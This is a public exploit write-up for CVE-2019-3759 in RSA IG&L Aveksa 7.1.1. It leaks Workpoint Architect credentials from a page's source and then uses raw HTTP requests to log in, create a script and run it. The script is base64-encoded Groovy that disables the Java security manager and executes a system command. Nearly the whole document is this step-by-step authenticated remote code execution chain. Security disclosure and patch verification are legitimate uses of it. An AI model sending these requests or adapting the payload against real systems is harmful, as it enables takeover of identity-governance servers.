RSA IG&L Aveksa 7.1.1 - Remote Code Execution

# Exploit Title: RSA IG&L Aveksa 7.1.1 - Remote Code Execution
# Date: 2019-04-16
# Exploit Author: Jakub Palaczynski, Lukasz Plonka
# Vendor Homepage: https://www.rsa.com/
# Version: 7.1.1, prior to P02 
# CVE : CVE-2019-3759

# (all vulnerable versions can be found at https://www.dell.com/support/security/pl-pl/details/DOC-106943/DSA-2019-134-RSA-Identity-Governance-and-Lifecycle-Product-Security-Update-for-Multiple-Vulnerabi)

Information:
Authenticated users can bypass authorization and get full access to Workpoint Architect module. This module gives possibility to run Groovy scripts which results in Code Execution.

1. First user needs to learn username and password for Architect (different from Aveksa login). Sample request:
https://AVEKSA_HOST/aveksa/main?Oid=193783&ReqType=GetPartial&PageID=ChangeRequestJobPageData&WFObjectID=1%3AWPDS&crID=193783&isAjax=false
search for "<IFRAME" in source of HTML and note username and password

2. Log into Architect. Sample request:
POST /aveksaWFArchitect/auth/login/ HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 146
Cookie: JSESSIONID=session
Connection: close

{"user":"USERNAME","password":"PASSWORD","dsn":"WPDS","product":{"name":"wp-architect","version":"4.40.16"}}

3. Creating new script that bypasses Java Security Policy and runs "id" system command.
* "statementText" - contains base64-encoded Groovy code
* "name" (at the end) - script name that must be unique
* Save "scriptId" from the response as it is necessary for next request.
POST /aveksaWFArchitect/scripts/?refresh=true&replace=false&checkSyntax=false&saveWithRollbackVersion=false HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 733
Cookie: JSESSIONID=session
Connection: close

{"statements":[{"scriptLineId":"-26:AUTOGEN","action":"insert","luDate":null,"luId":"","rowVersion":0,"sequence":1,"scriptClassId":17,"sourceName":"LOCAL","scriptId":"","name":"","validationStatus":0,"validationStatusMsg":"","statement":{"statementText":"U3lzdGVtLnNldFNlY3VyaXR5TWFuYWdlcihudWxsKTsKJ2lkJy5leGVjdXRlKCkudGV4dA==","statementJava":{"javaClass":"","ejb":false,"ejbVersion":"","jndiName":"","method":"","methodIsStatic":false,"returns":{"location":"system","name":""},"useInstance":false,"useInstanceObjectName":"","action":"insert"}}}],"scriptId":"-27:AUTOGEN","action":"insert","luDate":null,"luId":"","rowVersion":0,"name":"SCRIPTNAME","scriptTypeId":3,"validationStatus":0,"falseMsg":"","description":"","emitEvents":false,"errorText":"","saveMethod":"Architect"}

4. Running created script:
* In the response you have result of your command
PUT /aveksaWFArchitect/scripts/execute/ HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 58
Cookie: JSESSIONID=session
Connection: close

{"id":"SCRIPTID_OF_CREATED_SCRIPT","newTransaction":false,"symbolTable":{}}